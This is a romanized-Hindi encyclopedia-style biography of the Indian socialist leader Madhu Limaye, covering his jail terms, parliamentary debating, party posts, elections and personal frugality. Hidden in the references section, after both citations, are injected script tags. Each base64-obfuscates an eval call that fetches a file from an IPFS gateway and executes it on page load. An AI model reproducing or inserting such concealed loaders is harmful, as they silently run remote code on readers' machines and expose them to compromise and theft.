मधु लिमये
madhu limaye
| |
| poora nam | madhu limaye |
| janm | 1 mee, 1922 |
| janm bhoomi | pune, maharashtr |
| mrityu | 8 janavari, 1995 |
| abhibhavak | pita- ramachandr mahadev limaye |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn |
| any janakari | madhu limaye sanskrit bhasha aur bharatiy boliyoan ke vah bahut janakar the. sangit aur nrity ki barikiyoan ko bhi vah bakhoobi samajhate the. |
madhu limaye (aangrezi: Madhu Limaye, janm- 1 mee, 1922; mrityu- 8 janavari, 1995) bharatiy rajanitijn aur samajavadi aandolan ke netaoan mean se ek the. bharat ki samajavadi rajaniti ke pratinidhi neta madhu limaye ne char dashak tak desh ki rajaniti ko kee tarikoan se prabhavit kiya. vah prakhar vakta aur siddhaantakar the. tatkalik rajanitik svarth ke samay hi sunaee dene vali 'aantaratma ki avaz' ke daur mean madhu limaye lokatantr, adanbarahinata aur saf sarvajanik jivan ke paharedar ban ge the. madhu limaye ne duniya ko bataya ki sansad mean bahas kaise ki jati hai. unhoanne saansad hone ki peanshan kabhi nahian li aur n hi poorv saansad hone ki suvidhaean.
parichay
madhu limaye ka janm 1 mee, 1922 ko hua tha. svadhinata sangram mean taqariban 4 sal, 1940-1945 ke bich, gova mukti sangram mean purtagaliyoan ke adhin 19 mahine, 1955 mean 12 sal ki saza suna di gee aur apat kal ke dauran 19 mahine 'misa' ke tahat julaee 1975 - faravari 1977 tak madhu limaye kee jeloan mean rahe. madhu limaye tisari, chauthi, paanchavi v chhathi lokasabha ke sadasy rahe, lekin iandira gaandhi dvara paanchavi lokasabha ka karyakal badhae jane ke virodh mean unhoanne apani sadasyata se istifa de diya tha.[1]
katu limaye
madhu limaye ne duniya ko bataya ki sansad mean bahas kaise ki jati hai. vah prashn kal aur shoony kal ke anany svami hua karate the. jab bhi ziro avar hota, sara sadan saans rok kar ekatak dekhata tha ki madhu limaye apane pitare se kaun-sa nag nikaleange aur kis par chho d deange. mashahoor patrakar aur ek zamane mean madhu limaye ke nazadiki rahe d aauktar ved pratap vaidik ke anusar- "madhu ji gazab ke iansan the. zabaradast prashn poochhana aur mantri ke uttar par poorak savaloan ki mashinagan se sarakar ko dher kar dena madhu limaye ke lie baean hath ka khel tha." vah batate haian ki- "hota yooan tha ki d aauktar lohiya pradhan mall ki tarah kham thoankate aur sare samajavadi bhookhe sher ki tarah satta paksh par toot p date aur sirf adha darjan saansad baki paanch sau sadasyoan ki bolati band kar dete. maian to unase mazak mean kaha karata tha ki apaka nam madhu limaye hai lekin ap b de katu limaye haian."[2]
sansadiy niyamoan ke jnan ka chaianpiyan
madhu limaye ko agar "sansadiy niyamoan ke jnan ka chaianpiyan" kaha jae to koee atishayokti nahian hogi. unake ek sathi aur mashahoor samajavadi neta ladalimohan nigam ne ek bar ek lekh mean ek ghatana ka zikr kiya tha. ek bar iandira gaandhi ne lokasabha mean bajat pesh kiya jo arthik lekhanudan tha. bhashan samapt hote hi madhu limaye ne vyavastha ka prashn uthana chaha, lekin spikar ne sadan ko agale din tak ke lie sthagit kar diya. madhu limaye jhallate hue unake chaianbar mean ge aur bole, 'aj bahut b da gunah ho gaya hai. ap sare rik aaurds mangava kar dekhie. mani bil to pesh hi nahian kiya gaya. agar aisa hua hai to aj 12 baje ke bad sarakar ka sara kam ruk jaega aur sarakar ka koee bhi mahakama ek bhi paisa nahian kharch kar paega.
jab spikar ne sari prosidiangs mangava kar dekhi to pata chala ki dhan vidheyak to vakee pesh hi nahian hua tha. vah ghabara ge, kyoanki sadan to sthagit ho chuka tha. tab madhu limaye ne kaha- 'ye ab bhi pesh ho sakata hai. ap tatkal virodhi paksh ke netaoan ko bulavaean.' usi samay rediyo par ghoshana karavaee gee ki sansad ki turant ek baithak bulavaee gee hai, jo jahaan bhi hai turant sansad pahuanch jae. sansad rat mean baithi aur is tarah dhan vidheyak pas hua.
rajanitik kriyakalap
madhu limaye soshalist parti ke sanyukt sachiv (1949-1952) rahe, praja soshalist parti ke sanyukt sachiv (1953 ke ilahabad sammelan mean nirvachit) rahe, soshalist parti ke adhyaksh (1958-1959) rahe, sanyukt soshalist parti ke sansadiy bord ke adhyaksh (1967-1968), chauthi lokasabha mean soshalist grup ke neta (1967) rahe, janata parti ke mahasachiv (1 mee 1977-1979), janata parti (es) evan lokadal ke mahasachiv (1979-1982) rahe. lokadal (ke) ke gathan ke bad sakriy rajaniti ko alavida kah diya.
madhu limaye do bar banbee se chunav harane ke bad logoan ke agrah par 1964 ke upachunav mean muanger se l de v apane mazadoor neta ki sachchi chhavi ke bal par jite. dobara 1967 ke amachunav mean prachar ke dauran unhean pit-pit kar buri tarah se ghayal kar diya gaya, vah sadar aspatal mean bharti hue, jahaan bheant karane valoan ka taanta laga hua tha. sahanubhooti ki lahar v apane vyaktitv ke boote ve phir jite. par, tisari bar ve kaangres pratyashi di.pi. yadav se trikoniy muqabale mean har gaye. yah bhi chakit karane vala hi hai ki tamam pramukh nam moraraji desaee ki kaibinet 1977 mean the, par madhu limaye ka nam nadarad tha. morar ji chahate the ki ala darje ke tinoan bahasabaj j aaurj farnaandis, madhu limaye v raj narayan kaibinet mean shamil hoan. vah apane vittamantri ke karyakal mean limaye ke savaloan se chhalani hone ka dard bhog chuke the. madhu limaye ne rayapur se saansad purushottam kaushik ko mantri banavaya.
jab madhu limaye bihar ke baanka se chunav l d rahe the, to tatkalin mukhyamantri v kaangresi neta daroga ray ne kshetravad ka vichitr svaroop pesh karate hue virodh karana shuroo kiya. ve apani sabhaoan mean bolate the- ‘madhu limaiya, bambiya’. is par limaye ji ke mitr j aaurj sahab ne dharadar bhashan diya tha aur chutaki li thi- "ganimat hai ki daroga ji champaran aandolan ke vaqt paridrishy mean nahian the, nahian to ye gaandhiji ko to bihar ki sima mean ghusane hi nahian dete. achchha hua ki shriman treta yug mean paida nahian hue, nahian to ye ayodhya ke ram ki shadi janakapur (nepal) ki sita se kabhi hone hi nahian dete. mujhe to kabhi-kabhi chianta hoti hai ki daroga ji ka yahi ravaiya raha to log doosare gaanv jakar vivah hi nahian kar paeange aur adhe yuvak-yuvati kuanvare rah jaeange. yah kshetravad ka zahar hamean rasatal mean pahuancha dega.’ bas, madhu limaye ke paksh mean gazab ke janasamarthan ka mahaul bana aur unhoanne do bar (1971 ka upachunav aur 1977 ka amachunav) is sansadiy kshetr ki numaiandagi ki.[1]
sangit premi
madhu limaye ki ruchiyoan ki reanj bahut vistrit hua karati thi. 'mahabharat' par to unako adhikar-sa tha. sanskrit bhasha aur bharatiy boliyoan ke vah bahut janakar the. sangit aur nrity ki barikiyoan ko bhi vah bakhoobi samajhate the. jani-mani nrityaangana sonal manasianh unaki nazadiki dost hua karati thian. sonal ke anusar- "us zamane mean rajanitijn itane niras aur gair kalatmak nahian hote the. pahali mulakat ke bad madhuji ne ichchha zahir ki ki maian lodhi gardan mean tahalane ke bad subah nashte ke lie unake ghar aooan. maian jab pahuanchi to ghaghara aur ti shart pahane hue thi. mujhe dekhate hi unhoanne 'shakuantalam' se shlok padhana shuroo kar diya aur bole ki tum ekadam shakuantala jaisi lag rahi ho. jab bhi maian unhean fon karati to unaki patni chanpa fon uthatian aur hansate hue unase kahatian, 'lo tumhari garlafreand ka fon hai.'[2]
fizoolakharchi virodhi
d aauktar vaidik batate haian ki unhoanne madhu limaye ko kabhi fizoolakharchi karate nahian dekha. unake sath ghar ki khich di aur n aaurth evenyoo ki kaiantin ka dhaee rupe vala khana unhoanne kee bar khaya tha. vah kahate haian ki unaki patni pahale hamesha sadharan tritiy shreni mean aur jab tritiy shreni khatm huee to dvitiy shreni mean yatra karati thian. unake pandara rod ke chhote-se flait ki chhoti-si baithak mean anek rajyapal, anek mukhyamantri, anek keandriy mantri aur vikhyat sanpadak, patrakar aur buddhijivi unhean ghere rahate the.
eemanadar vyakti
madhu limaye kabhi-kabhi skootar ki pichhali sit par baith kar jaya karate the. itani naitikata unamean thi ki jab unaka sansad mean paanch sal ka samay khatm ho gaya to unhoanne jel se hi apani patni ko patr likha ki turant dilli jao aur sarakari ghar khali kar do. chanpaji ki bhi unamean kitani nishtha thi ki vah muanbee se dilli pahuanchi aur vahaan unhoanne makan se saman nikal kar s dak par rakh diya. unako ye nahian pata tha ki ab kahaan jaean. ek patrakar mitr jo samajavadi aandolan se ju de hue the, vahaan se guzar rahe the. unhoanne unase poochha ki ap yahaan kyoan kh di haian? jab unhoanne sari bat bataee to vah unhean apane ghar le ge. bahut hi paradarshi vyaktitv tha madhu limaye ka. eemanadari unamean is had tak bhari huee thi, jisaki aj ke yug mean kalpana bhi nahian ki ja sakati.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 sansadiy rajaniti aur samajavad ka b da paharua (hiandi) theprint.in. abhigaman tithi: 13 aprॅl, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 madhu limaye ko dekhakar kaanp uthata tha satta paksh (hiandi) bbc.com. abhigaman tithi: 13 aprॅl, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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